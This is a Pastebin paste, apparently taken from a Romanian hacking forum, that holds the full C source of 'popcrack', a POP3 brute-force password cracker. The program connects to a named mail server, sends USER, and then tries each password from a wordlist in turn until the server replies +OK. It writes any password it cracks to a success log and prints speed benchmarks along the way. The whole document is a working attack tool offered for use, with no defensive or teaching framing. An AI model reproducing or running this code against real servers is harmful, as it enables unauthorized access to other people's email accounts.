Advertisement
Guest User

rstforums.com - pop3 bruteforce

a guest
Nov 28th, 2013
259
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 10.89 KB | None | 0 0
  1. /*
  2.  * popcrack, POP3 bruteforce cracker
  3.  *
  4.  * If you don't want to waste any clock ticks, compile with -DNOBENCHMARK
  5.  * On Windows compile with -DWINDOWS (migh only work with Cygnus Cygwin)
  6.  * To see what is being sent/received, compile with -DDEBUG
  7.  *
  8.  * Usage: popcrack <wordlist> <username> <host> [port]
  9.  *
  10.  * Current benchmarks (quickest speeds attained):
  11.  * p250 MMX with cable modem: 2000 passwords/min
  12.  * dual p100 on T3: 1325 passwords/min
  13.  * p133 at < 21k: 250 passwords/min
  14.  *
  15.  * [both network speed and processor speed play equal roles]
  16.  * [also compiling with -DNOBENCHMARK should improve speed]
  17.  */
  18.  
  19. #include <stdio.h>
  20. #include <errno.h>
  21. #include <string.h>
  22.  
  23. #ifndef WINDOWS
  24. #include <unistd.h>
  25. #include <netdb.h>
  26. #endif
  27.  
  28. #ifndef NOBENCHMARK
  29. # include <time.h>
  30. # include <signal.h>
  31. #endif
  32.  
  33. #ifdef WINDOWS
  34. # include <windows.h>
  35. # include <winsock.h>
  36. #else
  37. # include <netinet/in.h>
  38. # include <sys/socket.h>
  39. # include <arpa/inet.h>
  40. #endif
  41.  
  42. /* ---------------------------------------------- */
  43.  
  44. #ifndef WINDOWS
  45. # define SOCKET_ERROR -1
  46. # define INVALID_SOCKET -1
  47.  
  48. # define closesocket(sock) close(sock)
  49. # define WSACleanup() ;
  50. #endif
  51.  
  52. /* ---------------------------------------------- */
  53.  
  54. #define NUMSOCKS 1
  55.  
  56. #define PORT 110
  57.  
  58. #define ERRORLOG "error.log"
  59. #define SUCCESSLOG "success.log"
  60. #define COMPLETELOG "complete.log"
  61.  
  62. #define PASSLEN 16
  63. #define BUFSIZE 128
  64.  
  65. /* ---------------------------------------------- */
  66.  
  67. #ifndef WINDOWS
  68. typedef int SOCKET;
  69. typedef struct sockaddr SOCKADDR;
  70. typedef struct sockaddr_in SOCKADDR_IN;
  71. #endif
  72.  
  73. double numkeys = 0;
  74.  
  75. #ifndef NOBENCHMARK
  76. double minkeys;
  77.  
  78. #ifdef WINDOWS
  79. unsigned int alarm(unsigned int);
  80. #endif
  81.  
  82. void calckeys(int sig)
  83. {
  84.    minkeys = numkeys;
  85. }
  86. #endif
  87.  
  88. int main(int argc, char **argv)
  89. {
  90. #ifdef WINDOWS
  91.    WSADATA wsaData;
  92. #endif
  93.  
  94.    FILE *file;
  95.    register char *ptr;
  96.  
  97.    int port = PORT;
  98.    char *user, *host;
  99.    struct hostent *he;
  100.  
  101.    SOCKET sockfd;
  102.    SOCKADDR_IN srcin, dstin;
  103.  
  104. #ifndef NOBENCHMARK
  105.    struct tm *tm;
  106.    char timebuf[16];
  107.    time_t time1, time2;
  108.  
  109.    clock_t cracktime;
  110.    clock_t beginpass, passtime;
  111.    clock_t idlestart, idletime;
  112.    clock_t starttime, endtime, finaltime;
  113. #endif
  114.  
  115.    char success = 0;
  116.    char buf[BUFSIZE], pass[PASSLEN];
  117.  
  118.    /* ------------------------------------------------------ */
  119.  
  120.    if ((argc <= 3) || (argc > 5))
  121.    {
  122.       fprintf(stderr, "Usage: %s <wordlist> <user> <host> [port]\n",
  123.               argv[0]);
  124.  
  125.       exit(1);
  126.    }
  127.  
  128.    user = argv[2], host = argv[3];
  129.    if (argc == 5) port = atoi(argv[4]);
  130.  
  131. #ifdef WINDOWS
  132.    if (WSAStartup(MAKEWORD(1, 1), &wsaData) < 0)
  133.    {
  134.       fprintf(stderr, "Error with WSAStartup().  "
  135.                       "Do you have WinSock installed?\n");
  136.       exit(-1);
  137.    }
  138. #endif
  139.  
  140.    sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  141.  
  142.    memset(&srcin, 0, sizeof(SOCKADDR_IN));
  143.    memset(&dstin, 0, sizeof(SOCKADDR_IN));
  144.  
  145.    if (inet_addr(argv[3]) != INADDR_NONE)
  146.       dstin.sin_addr.s_addr = inet_addr(argv[3]);
  147.  
  148.    else
  149.    {
  150.       he = gethostbyname(host);
  151.  
  152.       if (!he)
  153.       {
  154.          fprintf(stderr, "Error with gethostbyname(%s): %s\n",
  155.                  argv[3], strerror(h_errno));
  156.  
  157.          closesocket(sockfd), exit(-1);
  158.       }
  159.       else dstin.sin_addr = *((struct in_addr *)(he->h_addr));
  160.    }
  161.  
  162.    srcin.sin_family = AF_INET;
  163.    srcin.sin_addr.s_addr = INADDR_ANY;
  164.  
  165.    if (bind(sockfd, (SOCKADDR *)&srcin, sizeof(SOCKADDR)) == SOCKET_ERROR)
  166.    {
  167.       fprintf(stderr, "error with bind(): %s\n", strerror(errno));
  168.  
  169.       closesocket(sockfd);
  170.       WSACleanup();
  171.  
  172.       exit(-1);
  173.    }
  174.  
  175.    dstin.sin_family = AF_INET;
  176.    dstin.sin_port = htons(port);
  177.  
  178.    printf("Now connecting to %s[%d]... ",
  179.           inet_ntoa(dstin.sin_addr), port);
  180.  
  181.    fflush(stdout);
  182.  
  183.    if (connect(sockfd, (SOCKADDR *)&dstin, sizeof(SOCKADDR)) == SOCKET_ERROR)
  184.    {
  185.       fprintf(stderr, "\nError connecting to %s[%d]: %s\n",
  186.               inet_ntoa(*((struct in_addr *)(he->h_addr))), port,
  187.               strerror(errno));
  188.  
  189.       closesocket(sockfd);
  190.       WSACleanup();
  191.  
  192.       exit(-1);
  193.    }
  194.  
  195.    printf("connected.\n");
  196.  
  197.    memset(buf, 0, sizeof(buf));
  198.  
  199.    /* Grab POP welcome message */
  200.    if (recv(sockfd, buf, sizeof(buf) - 1, 0) == SOCKET_ERROR)
  201.    {
  202.       fprintf(stderr, "Error with recv(): %s\n", strerror(errno));
  203.       fclose(file);
  204.  
  205.       closesocket(sockfd);
  206.       WSACleanup();
  207.  
  208.       exit(-1);
  209.    }
  210.  
  211.    printf("%s\n\n", buf);
  212.  
  213.    /* -------------------------------------------------- */
  214.  
  215. #ifndef NOBENCHMARK
  216.    starttime = clock();
  217. #endif
  218.  
  219.    sprintf(buf, "USER %s\n", user);
  220.  
  221. #ifdef DEBUG
  222.   printf("Sending: %s", buf);
  223. #endif
  224.  
  225.    if (send(sockfd, buf, strlen(buf), 0) == SOCKET_ERROR)
  226.    {
  227.       fprintf(stderr, "Error send()'ing username: %s\n", strerror(errno));
  228.       fclose(file);
  229.  
  230.       closesocket(sockfd);
  231.       WSACleanup();
  232.  
  233.       exit(-1);
  234.    }
  235.  
  236.    /* Check result of USER */
  237.    while (1)
  238.    {
  239. #ifndef NOBENCHMARK
  240.       idletime = 0, idlestart = clock();
  241. #endif
  242.  
  243.       if (recv(sockfd, buf, sizeof(buf)-1, 0) == SOCKET_ERROR)
  244.       {
  245.          fprintf(stderr, "Error recv()'ing USER response: %s\n",
  246.                  strerror(errno));
  247.  
  248.          fclose(file);
  249.  
  250.          closesocket(sockfd);
  251.          WSACleanup();
  252.  
  253.          exit(-1);
  254.       }
  255.  
  256. #ifndef NOBENCHMARK
  257.       idletime += clock() - idlestart;
  258. #endif
  259.  
  260.       ptr = strchr(buf, '+');
  261.  
  262.       if (ptr) break;
  263.       else
  264.       {
  265.          ptr = strchr(buf, '-');
  266.          if (ptr) break;
  267.       }
  268.    }
  269.  
  270. #ifdef DEBUG
  271.    printf("USER response: %s\n", ptr);
  272. #endif
  273.  
  274.    if (strncmp(ptr, "-ERR", 4) == 0)
  275.    {
  276.       fprintf(stderr, "Error with USER: %s\n", ptr);
  277.       fclose(file);
  278.  
  279.       closesocket(sockfd);
  280.       WSACleanup();
  281.  
  282.       exit(-1);
  283.    }
  284.  
  285.    /* -------------------------------------------------- */
  286.  
  287.    file = fopen(argv[1], "r");
  288.    if (!file)
  289.    {
  290.       fprintf(stderr, "Error fopen()'ing %s: %s\n", argv[1], strerror(errno));
  291.  
  292.       closesocket(sockfd);
  293.       WSACleanup();
  294.  
  295.       exit(-1);
  296.    }
  297.  
  298. #ifndef NOBENCHMARK
  299.    cracktime = clock();
  300.    signal(SIGALRM, calckeys), alarm(60);
  301.  
  302.    time1 = time(NULL);
  303. #endif
  304.  
  305.    while (1)
  306.    {
  307.       if (!fgets(pass, sizeof(pass)-1, file))
  308.       {
  309.          if (feof(file)) break;
  310.  
  311.          fprintf(stderr, "Error with fget()'ing wordlist: %s\n",
  312.                  strerror(errno));
  313.  
  314.          fclose(file);
  315.  
  316.          closesocket(sockfd);
  317.          WSACleanup();
  318.  
  319.          exit(-1);
  320.       }
  321.  
  322.       ptr = strchr(pass, '\n');
  323.       if (ptr) *ptr = '\0';
  324.  
  325.       /* -------------------------------------------------- */
  326.  
  327. #ifndef NOBENCHMARK
  328.       beginpass = clock();
  329. #endif
  330.  
  331.       sprintf(buf, "PASS %s\n", pass); 
  332.  
  333. #ifdef DEBUG
  334.       printf("Sending: %s", buf);
  335. #endif
  336.  
  337.       if (send(sockfd, buf, strlen(buf), 0) == SOCKET_ERROR)
  338.       {
  339.          sprintf(buf, "Error send()'ing password: %s\n", strerror(errno));
  340.          fputc('\n', stderr), fputs(buf, stderr), fclose(file);
  341.  
  342.          file = fopen(ERRORLOG, "a");
  343.          if (file)
  344.          {
  345.             fputs(buf, file);
  346.             fprintf(file, "'%s' was not completed "
  347.                           "(finished %.0f passwords).\n\n",
  348.                           argv[1], numkeys);
  349.  
  350.             fclose(file);
  351.          }
  352.  
  353.          else fprintf(stderr, "Error fopen()'ing %s: %s\n", ERRORLOG,
  354.                       strerror(errno));
  355.  
  356.          closesocket(sockfd);
  357.          WSACleanup();
  358.  
  359.          exit(-1);
  360.       }
  361.  
  362. #ifndef NOBENCHMARK
  363.       passtime = 0;
  364. #endif
  365.  
  366.       /* Check result of PASS */
  367.       while (1)
  368.       {
  369. #ifndef NOBENCHMARK
  370.          idlestart = clock();
  371. #endif
  372.  
  373.          if (recv(sockfd, buf, sizeof(buf)-1, 0) == SOCKET_ERROR)
  374.          {
  375.             sprintf(buf, "Error recv()'ing PASS response: %s\n",
  376.                     strerror(errno));
  377.  
  378.             fputc('\n', stderr), fputs(buf, stderr), fclose(file);
  379.  
  380.             file = fopen(ERRORLOG, "a");
  381.             if (file)
  382.             {
  383.                fputs(buf, file);
  384.                fprintf(file, "'%s' was not completed "
  385.                              "(finished %.0f passwords).\n\n",
  386.                              argv[1], numkeys);
  387.  
  388.                fclose(file);
  389.             }
  390.  
  391.             else fprintf(stderr, "Error fopen()'ing %s: %s\n", ERRORLOG,
  392.                          strerror(errno));
  393.  
  394.             closesocket(sockfd);
  395.             WSACleanup();
  396.  
  397.             exit(-1);
  398.          }
  399.  
  400. #ifndef NOBENCHMARK
  401.          idletime += clock() - idlestart;
  402. #endif
  403.  
  404.          ptr = strchr(buf, '+');
  405.  
  406.          if (ptr) break;
  407.          else
  408.          {
  409.             ptr = strchr(buf, '-');
  410.             if (ptr) break;
  411.          }
  412.       }
  413.  
  414.       numkeys++;
  415.  
  416. #ifndef NOBENCHMARK
  417.       if (!passtime) passtime = clock() - beginpass;
  418. #endif
  419.  
  420. #ifdef DEBUG
  421.       printf("PASS response: %s\n", ptr);
  422. #endif
  423.  
  424. #ifndef NOBENCHMARK
  425.       time2 = time(NULL), time2 -= time1, tm = gmtime(&time2);
  426.       strftime(timebuf, 15, "%H:%M:%S", tm);
  427.  
  428.       printf("[Time running: %s, Clock ticks: %ld, Password: %.0f]\r",
  429.              timebuf, clock() - starttime, numkeys);
  430.  
  431.       fflush(stdout);
  432. #endif
  433.  
  434.       if (strncmp(ptr, "+OK", 3) == 0)
  435.       {
  436.          success = 1;
  437.          break;
  438.       }
  439.    }
  440.  
  441. #ifndef NOBENCHMARK
  442.    alarm(0), endtime = clock();
  443.    finaltime = endtime - starttime, cracktime = endtime - cracktime;
  444. #endif
  445.  
  446.    fclose(file);
  447.  
  448.    closesocket(sockfd);
  449.    WSACleanup();
  450.  
  451.    printf("\nCompleted %.0f passwords with %d socket(s).\a\n\n", numkeys,
  452.           NUMSOCKS);
  453.  
  454. #ifndef NOBENCHMARK
  455.    printf("Total clock ticks: %ld.\n", finaltime);
  456.  
  457.    if (minkeys) printf("Tried around %.0f passwords a minute.\n", minkeys);
  458.    else printf("Tried %.0f passwords in less than a minute.\n", numkeys);
  459.  
  460.    printf("Took around %ld clock ticks per password.\n", passtime);
  461.    printf("Spent a total of %ld clock ticks idling in recv().\n", idletime);
  462.    printf("Took %ld clock ticks for the main cracking loop.\n\n", cracktime);
  463.  
  464.    printf("These results may be off, due to this benchmark\n");
  465. #endif
  466.  
  467.    if (success)
  468.    {
  469.       printf("PASSWORD OF '%s' IS '%s'!\a\n", user, pass);
  470.  
  471.       file = fopen(SUCCESSLOG, "a");
  472.  
  473.       if (file)
  474.       {
  475.          if (success) sprintf(buf, "PASSWORD OF '%s' IS '%s'\n", user, pass);
  476.          fputs(buf, file), fclose(file);
  477.       }
  478.  
  479.       else fprintf(stderr, "Error fopen()'ing %s: %s\n",
  480.                    SUCCESSLOG, strerror(errno));
  481.    }
  482.  
  483.    file = fopen(COMPLETELOG, "a");
  484.  
  485.    if (file)
  486.    {
  487.       fprintf(file, "'%s' completed, %s's password was%sfound.\n",
  488.               argv[1], user, (success ? " " : " not "));
  489.  
  490.       fclose(file);
  491.    }
  492.  
  493.    else fprintf(stderr, "Error fopen()'ing %s: %s\n", COMPLETELOG,
  494.                 strerror(errno));
  495.  
  496.    if (!success) printf("%s's password was not in '%s'\n", user, argv[1]);
  497.    return 0;
  498. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement